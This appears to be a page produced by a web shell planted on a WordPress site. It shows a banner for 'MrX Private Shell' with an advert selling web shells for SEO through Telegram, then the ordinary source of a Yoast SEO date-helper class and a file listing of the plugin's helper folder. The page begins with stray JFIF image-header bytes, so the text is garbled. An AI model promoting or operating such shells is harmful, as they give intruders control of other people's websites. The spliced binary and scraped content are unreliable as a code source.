����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Helpers;
use DateTime;
use DateTimeZone;
use Exception;
/**
* A helper object for dates.
*/
class Date_Helper {
/**
* Convert given date string to the W3C format.
*
* If $translate is true then the given date and format string will
* be passed to date_i18n() for translation.
*
* @param string $date Date string to convert.
* @param bool $translate Whether the return date should be translated. Default false.
*
* @return string Formatted date string.
*/
public function mysql_date_to_w3c_format( $date, $translate = false ) {
return \mysql2date( \DATE_W3C, $date, $translate );
}
/**
* Formats a given date in UTC TimeZone format.
*
* @param string $date String representing the date / time.
* @param string $format The format that the passed date should be in.
*
* @return string The formatted date.
*/
public function format( $date, $format = \DATE_W3C ) {
if ( ! \is_string( $date ) ) {
return $date;
}
$immutable_date = \date_create_immutable_from_format( 'Y-m-d H:i:s', $date, new DateTimeZone( 'UTC' ) );
if ( ! $immutable_date ) {
return $date;
}
return $immutable_date->format( $format );
}
/**
* Formats the given timestamp to the needed format.
*
* @param int $timestamp The timestamp to use for the formatting.
* @param string $format The format that the passed date should be in.
*
* @return string The formatted date.
*/
public function format_timestamp( $timestamp, $format = \DATE_W3C ) {
if ( ! \is_string( $timestamp ) && ! \is_int( $timestamp ) ) {
return $timestamp;
}
$immutable_date = \date_create_immutable_from_format( 'U', $timestamp, new DateTimeZone( 'UTC' ) );
if ( ! $immutable_date ) {
return $timestamp;
}
return $immutable_date->format( $format );
}
/**
* Formats a given date in UTC TimeZone format and translate it to the set language.
*
* @param string $date String representing the date / time.
* @param string $format The format that the passed date should be in.
*
* @return string The formatted and translated date.
*/
public function format_translated( $date, $format = \DATE_W3C ) {
return \date_i18n( $format, $this->format( $date, 'U' ) );
}
/**
* Returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).
*
* @return int The current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).
*/
public function current_time() {
return \time();
}
/**
* Check if a string is a valid datetime.
*
* @param string $datetime String input to check as valid input for DateTime class.
*
* @return bool True when datetime is valid.
*/
public function is_valid_datetime( $datetime ) {
if ( $datetime === null ) {
/*
* While not "officially" supported, `null` will be handled as `"now"` until PHP 9.0.
* @link https://3v4l.org/tYp2k
*/
return true;
}
if ( \is_string( $datetime ) && \substr( $datetime, 0, 1 ) === '-' ) {
return false;
}
try {
return new DateTime( $datetime ) !== false;
} catch ( Exception $exception ) {
return false;
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| open-graph | Folder | 0755 |
|
|
| schema | Folder | 0755 |
|
|
| Folder | 0755 |
|
||
| aioseo-helper.php | File | 1.24 KB | 0644 |
|
| asset-helper.php | File | 2.52 KB | 0644 |
|
| author-archive-helper.php | File | 5.04 KB | 0644 |
|
| blocks-helper.php | File | 2.32 KB | 0644 |
|
| capability-helper.php | File | 2.07 KB | 0644 |
|
| curl-helper.php | File | 655 B | 0644 |
|
| current-page-helper.php | File | 12.25 KB | 0644 |
|
| date-helper.php | File | 3.13 KB | 0644 |
|
| environment-helper.php | File | 793 B | 0644 |
|
| home-url-helper.php | File | 770 B | 0644 |
|
| image-helper.php | File | 10.32 KB | 0644 |
|
| import-cursor-helper.php | File | 1.36 KB | 0644 |
|
| import-helper.php | File | 716 B | 0644 |
|
| indexable-helper.php | File | 7.1 KB | 0644 |
|
| indexable-to-postmeta-helper.php | File | 6.76 KB | 0644 |
|
| indexables-page-helper.php | File | 4.68 KB | 0644 |
|
| indexing-helper.php | File | 10.83 KB | 0644 |
|
| input-helper.php | File | 662 B | 0644 |
|
| language-helper.php | File | 2.4 KB | 0644 |
|
| meta-helper.php | File | 2.91 KB | 0644 |
|
| notification-helper.php | File | 546 B | 0644 |
|
| options-helper.php | File | 3.87 KB | 0644 |
|
| pagination-helper.php | File | 3.47 KB | 0644 |
|
| permalink-helper.php | File | 1.26 KB | 0644 |
|
| post-helper.php | File | 5.46 KB | 0644 |
|
| post-type-helper.php | File | 4.24 KB | 0644 |
|
| primary-term-helper.php | File | 1.37 KB | 0644 |
|
| product-helper.php | File | 973 B | 0644 |
|
| redirect-helper.php | File | 1.1 KB | 0644 |
|
| request-helper.php | File | 352 B | 0644 |
|
| require-file-helper.php | File | 305 B | 0644 |
|
| robots-helper.php | File | 1.74 KB | 0644 |
|
| robots-txt-helper.php | File | 2.66 KB | 0644 |
|
| sanitization-helper.php | File | 1.03 KB | 0644 |
|
| score-icon-helper.php | File | 2.2 KB | 0644 |
|
| short-link-helper.php | File | 3.3 KB | 0644 |
|
| site-helper.php | File | 566 B | 0644 |
|
| string-helper.php | File | 1.19 KB | 0644 |
|
| taxonomy-helper.php | File | 4.46 KB | 0644 |
|
| url-helper.php | File | 7.32 KB | 0644 |
|
| user-helper.php | File | 3.67 KB | 0644 |
|
| wincher-helper.php | File | 2.37 KB | 0644 |
|
| woocommerce-helper.php | File | 1.28 KB | 0644 |
|
| wordpress-helper.php | File | 512 B | 0644 |
|
| wordproof-helper.php | File | 3.01 KB | 0644 |
|
| wpdb-helper.php | File | 942 B | 0644 |
|